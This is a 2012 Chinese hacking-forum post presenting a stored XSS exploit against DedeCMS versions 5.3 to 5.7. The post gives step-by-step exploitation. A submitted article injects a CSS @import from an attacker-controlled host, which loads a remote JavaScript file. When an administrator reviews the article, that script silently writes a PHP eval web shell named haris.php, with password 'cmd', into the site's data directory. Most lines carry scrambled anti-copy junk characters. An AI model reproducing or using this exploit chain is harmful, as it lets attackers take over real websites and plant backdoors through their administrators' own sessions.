找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1731|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell5 u0 {# k! l! R7 s1 k: y& r5 z, ^
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)0 M# ?9 c& H+ {6 L' ?4 ?1 C- `
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。5 x# }. T$ [6 M; @& X
下面说说利用方法。% Q  y1 a$ [& g1 h: f+ @. c% b
条件有2个:$ J7 C, t, O+ c. {) c3 q' k
1.开启注册, W" r5 x8 u% V, `( Q
2.开启投稿, C/ X6 b4 B3 @8 V) m
注册会员----发表文章
4 O( }9 M1 {, _! p/ G4 d内容填写:2 D' y) D. K, d7 z# L
复制代码& j: N. {# I* f7 ?2 A: |! _/ W
<style>@im\port'\http://xxx.com/xss.css';</style>
9 h% o7 _/ {5 c' Z4 D1 ~0 n  i新建XSS.Css
: j/ V' B# ^% }9 m9 t" u复制代码
8 a9 `" J0 Y* R7 s! S) A. c5 Y! q8 s.body{$ [8 c% J' L& I( ?* q5 |
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
: ^! ?1 ~! h8 I新建xss.js 内容为$ A. S& Z* @8 b5 Z
复制代码+ b- d6 k) U* Z; x1 {8 L- c
1.var request = false;
, _4 l" T) j8 D( H2.if(window.XMLHttpRequest) {. z7 \' A  t) ?, Z. u% G* Z/ u
3.request = new XMLHttpRequest();
( B2 o. p( J9 x) o7 d3 i  A4.if(request.overrideMimeType) {
7 M+ k+ U9 ~5 N5 O0 _. W5.request.overrideMimeType('text/xml');
) L, N% F" c- \, j) p' \6.}
( s& ^8 V3 E. x) L7.} else if(window.ActiveXObject) {) w3 m5 u: V; m' q8 [' ]5 X
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 N( L; D0 |0 r6 i4 F, t9.for(var i=0; i<versions.length; i++) {) T; c, |, I- t9 n  |( H+ G
10.try {! l, f* P# _9 Z3 ^  c' {( _& e! c4 x- D
11.request = new ActiveXObject(versions);
5 o3 h( H6 H9 s9 I' ~0 b: s12.} catch(e) {}0 y0 j7 Y. c, J% ^+ Z* ?3 g0 k
13.}/ \) I; W# q* I: \8 w
14.}( h# l# w2 g2 x/ x( z- d
15.xmlhttp=request;. r2 H% l9 i4 y) C$ P) [: s
16.function getFolder( url ){) `/ u- A% p+ o+ P3 S4 I4 j5 R" X
17. obj = url.split('/')5 G& v0 ?$ U! ~$ E2 k# w
18. return obj[obj.length-2]
  F! [2 a2 V4 M) y+ P( C7 p* e19.}
  D6 l, T; {3 h' B20.oUrl = top.location.href;  n2 \% |) s* a' V: S6 ^. C
21.u = getFolder(oUrl);( G: r) x3 i: M5 c% p" i, f
22.add_admin();
" b# y+ z" q8 W5 ]; x( u# Y# H23.function add_admin(){
; a1 Z- Z" c" I( I6 `6 Y7 W24.var url= "/"+u+"/sys_sql_query.php";- w: ?+ N0 |3 z3 ~; }9 V: Z( |! S* u
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
" W6 Q/ ~) B4 ?2 G26.xmlhttp.open("POST", url, true);
7 C0 s3 y. T6 C8 {* O27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
2 i. d+ Y2 v/ i6 E28.xmlhttp.setRequestHeader("Content-length", params.length);
8 I1 T8 O1 S: X; W, I29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");% z  C# {7 u& Z7 F' O
30.xmlhttp.send(params);
: o3 r9 P0 {( V3 f7 k1 t) L31.}4 _# ~8 m. ]; ]) [# `
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表